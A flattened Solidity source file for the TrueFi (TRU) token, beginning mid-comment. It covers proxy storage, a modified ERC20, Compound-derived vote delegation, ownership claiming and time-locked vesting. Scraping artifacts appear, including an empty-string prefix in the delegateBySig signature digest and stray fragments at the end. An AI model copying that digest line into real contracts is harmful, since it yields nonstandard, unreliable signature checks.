https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * // importANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: contracts/trusttoken/common/ProxyStorage.sol // pragma solidity 0.6.10; /** * All storage must be declared here * New storage must be appended to the end * Never remove items from this list */ contract ProxyStorage { bool initalized; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(uint144 => uint256) attributes_Depricated; address owner_; address pendingOwner_; mapping(address => address) public delegates; // A record of votes checkpoints for each account, by index struct Checkpoint { // A checkpoint for marking number of votes from a given block uint32 fromBlock; uint96 votes; } mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; // A record of votes checkpoints for each account, by index mapping(address => uint32) public numCheckpoints; // The number of checkpoints for each account mapping(address => uint256) public nonces; /* Additionally, we have several keccak-based storage locations. * If you add more keccak-based storage mappings, such as mappings, you must document them here. * If the length of the keccak input is the same as an existing mapping, it is possible there could be a preimage collision. * A preimage collision can be used to attack the contract by treating one storage location as another, * which would always be a critical issue. * Carefully examine future keccak-based storage to ensure there can be no preimage collisions. ******************************************************************************************************* ** length input usage ******************************************************************************************************* ** 19 "trueXXX.proxy.owner" Proxy Owner ** 27 "trueXXX.pending.proxy.owner" Pending Proxy Owner ** 28 "trueXXX.proxy.implementation" Proxy Implementation ** 64 uint256(address),uint256(1) balanceOf ** 64 uint256(address),keccak256(uint256(address),uint256(2)) allowance ** 64 uint256(address),keccak256(bytes32,uint256(3)) attributes **/ } // Dependency file: contracts/trusttoken/common/ERC20.sol /** * @notice This is a copy of openzeppelin ERC20 contract with removed state variables. * Removing state variables has been necessary due to proxy pattern usage. * Changes to Openzeppelin ERC20 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/de99bccbfd4ecd19d7369d01b070aa72c64423c9/contracts/token/ERC20/ERC20.sol: * - Remove state variables _name, _symbol, _decimals * - Use state variables balances, allowances, totalSupply from ProxyStorage * - Remove constructor * - Solidity version changed from ^0.6.0 to 0.6.10 * - Contract made abstract * - Remove inheritance from IERC20 because of ProxyStorage name conflicts * * See also: ClaimableOwnable.sol and ProxyStorage.sol */ // pragma solidity 0.6.10; // import {Context} from "@openzeppelin/contracts/GSN/Context.sol"; // import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; // import {Address} from "@openzeppelin/contracts/utils/Address.sol"; // import {ProxyStorage} from "contracts/trusttoken/common/ProxyStorage.sol"; // prettier-ignore /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ abstract contract ERC20 is ProxyStorage, Context { using SafeMath for uint256; using Address for address; /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the name of the token. */ function name() public virtual pure returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public virtual pure returns (string memory); /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public virtual pure returns (uint8) { return 18; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), allowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, allowance[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, allowance[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); balanceOf[sender] = balanceOf[sender].sub(amount, "ERC20: transfer amount exceeds balance"); balanceOf[recipient] = balanceOf[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); balanceOf[account] = balanceOf[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowance[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ // solhint-disable-next-line no-empty-blocks function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: contracts/governance/interface/IVoteToken.sol // pragma solidity ^0.6.10; // import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IVoteToken { function delegate(address delegatee) external; function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external; function getCurrentVotes(address account) external view returns (uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); } interface IVoteTokenWithERC20 is IVoteToken, IERC20 {} // Dependency file: contracts/governance/VoteToken.sol // AND COPIED FROM https://github.com/compound-finance/compound-protocol/blob/c5fcc34222693ad5f547b14ed01ce719b5f4b000/contracts/Governance/Comp.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Ctrl+f for OLD to see all the modifications. // pragma solidity 0.6.10; // import {ERC20} from "contracts/trusttoken/common/ERC20.sol"; // import {IVoteToken} from "contracts/governance/interface/IVoteToken.sol"; /** * @title VoteToken * @notice Custom token which tracks voting power for governance * @dev This is an abstraction of a fork of the Compound governance contract * VoteToken is used by TRU and stkTRU to allow tracking voting power * Checkpoints are created every time state is changed which record voting power * Inherits standard ERC20 behavior */ abstract contract VoteToken is ERC20, IVoteToken { bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); function delegate(address delegatee) public override { return _delegate(msg.sender, delegatee); } /** * @dev Delegate votes using signature */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public override { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "TrustToken::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "TrustToken::delegateBySig: invalid nonce"); require(now <= expiry, "TrustToken::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @dev Get current voting power for an account * @param account Account to get voting power for * @return Voting power for an account */ function getCurrentVotes(address account) public virtual override view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @dev Get voting power at a specific block for an account * @param account Account to get voting power for * @param blockNumber Block to get voting power at * @return Voting power for an account at specific block */ function getPriorVotes(address account, uint256 blockNumber) public virtual override view returns (uint96) { require(blockNumber < block.number, "TrustToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @dev Internal function to delegate voting power to an account * @param delegator Account to delegate votes from * @param delegatee Account to delegate votes to */ function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; // OLD: uint96 delegatorBalance = balanceOf(delegator); uint96 delegatorBalance = safe96(_balanceOf(delegator), "StkTruToken: uint96 overflow"); delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _balanceOf(address account) internal view virtual returns (uint256) { return balanceOf[account]; } function _transfer( address _from, address _to, uint256 _value ) internal virtual override { super._transfer(_from, _to, _value); _moveDelegates(delegates[_from], delegates[_to], safe96(_value, "StkTruToken: uint96 overflow")); } function _mint(address account, uint256 amount) internal virtual override { super._mint(account, amount); _moveDelegates(address(0), delegates[account], safe96(amount, "StkTruToken: uint96 overflow")); } function _burn(address account, uint256 amount) internal virtual override { super._burn(account, amount); _moveDelegates(delegates[account], address(0), safe96(amount, "StkTruToken: uint96 overflow")); } /** * @dev internal function to move delegates between accounts */ function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "TrustToken::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "TrustToken::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } /** * @dev internal function to write a checkpoint for voting power */ function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32(block.number, "TrustToken::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } /** * @dev internal function to convert from uint256 to uint32 */ function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } /** * @dev internal function to convert from uint256 to uint96 */ function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } /** * @dev internal safe math function to add two uint96 numbers */ function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev internal safe math function to subtract two uint96 numbers */ function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } /** * @dev internal function to get chain ID */ function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // Dependency file: contracts/trusttoken/common/ClaimableContract.sol // pragma solidity 0.6.10; // import {ProxyStorage} from "contracts/trusttoken/common/ProxyStorage.sol"; /** * @title ClaimableContract * @dev The ClaimableContract contract is a copy of Claimable Contract by Zeppelin. and provides basic authorization control functions. Inherits storage layout of ProxyStorage. */ contract ClaimableContract is ProxyStorage { function owner() public view returns (address) { return owner_; } function pendingOwner() public view returns (address) { return pendingOwner_; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev sets the original `owner` of the contract to the sender * at construction. Must then be reinitialized */ constructor() public { owner_ = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner_, "only owner"); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner_); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { pendingOwner_ = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { address _pendingOwner = pendingOwner_; emit OwnershipTransferred(owner_, _pendingOwner); owner_ = _pendingOwner; pendingOwner_ = address(0); } } // Dependency file: contracts/trusttoken/TimeLockedToken.sol // pragma solidity 0.6.10; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import {VoteToken} from "contracts/governance/VoteToken.sol"; // import {ClaimableContract} from "contracts/trusttoken/common/ClaimableContract.sol"; /** * @title TimeLockedToken * @notice Time Locked ERC20 Token * @author Harold Hyatt * @dev Contract which gives the ability to time-lock tokens * * The registerLockup() function allows an account to transfer * its tokens to another account, locking them according to the * distribution epoch periods * * By overriding the balanceOf(), transfer(), and transferFrom() * functions in ERC20, an account can show its full, post-distribution * balance but only transfer or spend up to an allowed amount * * Every time an epoch passes, a portion of previously non-spendable tokens * are allowed to be transferred, and after all epochs have passed, the full * account balance is unlocked */ abstract contract TimeLockedToken is VoteToken, ClaimableContract { using SafeMath for uint256; // represents total distribution for locked balances mapping(address => uint256) distribution; // start of the lockup period // Friday, July 24, 2020 4:58:31 PM GMT uint256 constant LOCK_START = 1595609911; // length of time to delay first epoch uint256 constant FIRST_EPOCH_DELAY = 30 days; // how long does an epoch last uint256 constant EPOCH_DURATION = 90 days; // number of epochs uint256 constant TOTAL_EPOCHS = 8; // registry of locked addresses address public timeLockRegistry; // allow unlocked transfers to special account bool public returnsLocked; modifier onlyTimeLockRegistry() { require(msg.sender == timeLockRegistry, "only TimeLockRegistry"); _; } /** * @dev Set TimeLockRegistry address * @param newTimeLockRegistry Address of TimeLockRegistry contract */ function setTimeLockRegistry(address newTimeLockRegistry) external onlyOwner { require(newTimeLockRegistry != address(0), "cannot be zero address"); require(newTimeLockRegistry != timeLockRegistry, "must be new TimeLockRegistry"); timeLockRegistry = newTimeLockRegistry; } /** * @dev Permanently lock transfers to return address * Lock returns so there isn't always a way to send locked tokens */ function lockReturns() external onlyOwner { returnsLocked = true; } /** * @dev Transfer function which includes unlocked tokens * Locked tokens can always be transfered back to the returns address * Transferring to owner allows re-issuance of funds through registry * * @param _from The address to send tokens from * @param _to The address that will receive the tokens * @param _value The amount of tokens to be transferred */ function _transfer( address _from, address _to, uint256 _value ) internal virtual override { require(balanceOf[_from] >= _value, "insufficient balance"); // transfers to owner proceed as normal when returns allowed if (!returnsLocked && _to == owner_) { transferToOwner(_from, _value); return; } // check if enough unlocked balance to transfer require(unlockedBalance(_from) >= _value, "attempting to transfer locked funds"); super._transfer(_from, _to, _value); } /** * @dev Transfer tokens to owner. Used only when returns allowed. * @param _from The address to send tokens from * @param _value The amount of tokens to be transferred */ function transferToOwner(address _from, uint256 _value) internal { uint256 unlocked = unlockedBalance(_from); if (unlocked < _value) { // We want to have unlocked = value, i.e. // value = balance - distribution * epochsLeft / totalEpochs // distribution = (balance - value) * totalEpochs / epochsLeft distribution[_from] = balanceOf[_from].sub(_value).mul(TOTAL_EPOCHS).div(epochsLeft()); } super._transfer(_from, owner_, _value); } /** * @dev Check if amount we want to burn is unlocked before burning * @param _from The address whose tokens will burn * @param _value The amount of tokens to be burnt */ function _burn(address _from, uint256 _value) internal override { require(balanceOf[_from] >= _value, "insufficient balance"); require(unlockedBalance(_from) >= _value, "attempting to burn locked funds"); super._burn(_from, _value); } /** * @dev Transfer tokens to another account under the lockup schedule * Emits a transfer event showing a transfer to the recipient * Only the registry can call this function * @param receiver Address to receive the tokens * @param amount Tokens to be transferred */ function registerLockup(address receiver, uint256 amount) external onlyTimeLockRegistry { require(balanceOf[msg.sender] >= amount, "insufficient balance"); // add amount to locked distribution distribution[receiver] = distribution[receiver].add(amount); // transfer to recipient _transfer(msg.sender, receiver, amount); } /** * @dev Get locked balance for an account * @param account Account to check * @return Amount locked */ function lockedBalance(address account) public view returns (uint256) { // distribution * (epochsLeft / totalEpochs) return distribution[account].mul(epochsLeft()).div(TOTAL_EPOCHS); } /** * @dev Get unlocked balance for an account * @param account Account to check * @return Amount that is unlocked and available eg. to transfer */ function unlockedBalance(address account) public view returns (uint256) { // totalBalance - lockedBalance return balanceOf[account].sub(lockedBalance(account)); } function _balanceOf(address account) internal override view returns (uint256) { return unlockedBalance(account); } /* * @dev Get number of epochs passed * @return Value between 0 and 8 of lockup epochs already passed */ function epochsPassed() public view returns (uint256) { // return 0 if timestamp is lower than start time if (block.timestamp < LOCK_START) { return 0; } // how long it has been since the beginning of lockup period uint256 timePassed = block.timestamp.sub(LOCK_START); // 1st epoch is FIRST_EPOCH_DELAY longer; we check to prevent subtraction underflow if (timePassed < FIRST_EPOCH_DELAY) { return 0; } // subtract the FIRST_EPOCH_DELAY, so that we can count all epochs as lasting EPOCH_DURATION uint256 totalEpochsPassed = timePassed.sub(FIRST_EPOCH_DELAY).div(EPOCH_DURATION); // epochs don't count over TOTAL_EPOCHS if (totalEpochsPassed > TOTAL_EPOCHS) { return TOTAL_EPOCHS; } return totalEpochsPassed; } function epochsLeft() public view returns (uint256) { return TOTAL_EPOCHS.sub(epochsPassed()); } /** * @dev Get timestamp of next epoch * Will revert if all epochs have passed * @return Timestamp of when the next epoch starts */ function nextEpoch() public view returns (uint256) { // get number of epochs passed uint256 passed = epochsPassed(); // if all epochs passed, return if (passed == TOTAL_EPOCHS) { // return INT_MAX return uint256(-1); } // if no epochs passed, return latest epoch + delay + standard duration if (passed == 0) { return latestEpoch().add(FIRST_EPOCH_DELAY).add(EPOCH_DURATION); } // otherwise return latest epoch + epoch duration return latestEpoch().add(EPOCH_DURATION); } /** * @dev Get timestamp of latest epoch * @return Timestamp of when the current epoch has started */ function latestEpoch() public view returns (uint256) { // get number of epochs passed uint256 passed = epochsPassed(); // if no epochs passed, return lock start time if (passed == 0) { return LOCK_START; } // accounts for first epoch being longer // lockStart + firstEpochDelay + (epochsPassed * epochDuration) return LOCK_START.add(FIRST_EPOCH_DELAY).add(passed.mul(EPOCH_DURATION)); } /** * @dev Get timestamp of final epoch * @return Timestamp of when the last epoch ends and all funds are released */ function finalEpoch() public pure returns (uint256) { // lockStart + firstEpochDelay + (epochDuration * totalEpochs) return LOCK_START.add(FIRST_EPOCH_DELAY).add(EPOCH_DURATION.mul(TOTAL_EPOCHS)); } /** * @dev Get timestamp of locking period start * @return Timestamp of locking period start */ function lockStart() public pure returns (uint256) { return LOCK_START; } } // Root file: contracts/trusttoken/TrustToken.sol pragma solidity 0.6.10; // import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; // import {TimeLockedToken} from "contracts/trusttoken/TimeLockedToken.sol"; /** * @title TrustToken * @dev The TrustToken contract is a claimable contract where the * owner can only mint or transfer ownership. TrustTokens use 8 decimals * in order to prevent rewards from getting stuck in the remainder on division. * Tolerates dilution to slash stake and accept rewards. */ contract TrustToken is TimeLockedToken { using SafeMath for uint256; uint256 constant MAX_SUPPLY = 145000000000000000; /** * @dev initialize trusttoken and give ownership to sender * This is necessary to set ownership for proxy */ function initialize() public { require(!initalized, "already initialized"); owner_ = msg.sender; initalized = true; } /** * @dev mint TRU * Can never mint more than MAX_SUPPLY = 1.45 billion */ function mint(address _to, uint256 _amount) external onlyOwner { if (totalSupply.add(_amount) <= MAX_SUPPLY) { _mint(_to, _amount); } else { revert("Max supply exceeded"); } } function burn(uint256 amount) external { _burn(msg.sender, amount); } function decimals() public override pure returns (uint8) { return 8; } function rounding() public pure returns (uint8) { return 8; } function name() public override pure returns (string memory) { return "TrueFi"; } function symbol() public override pure returns (string memory) { return "TRU"; } }
See {IERC20-approve}. Requirements: - `spender` cannot be the zero address./
function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; }
2,155,449
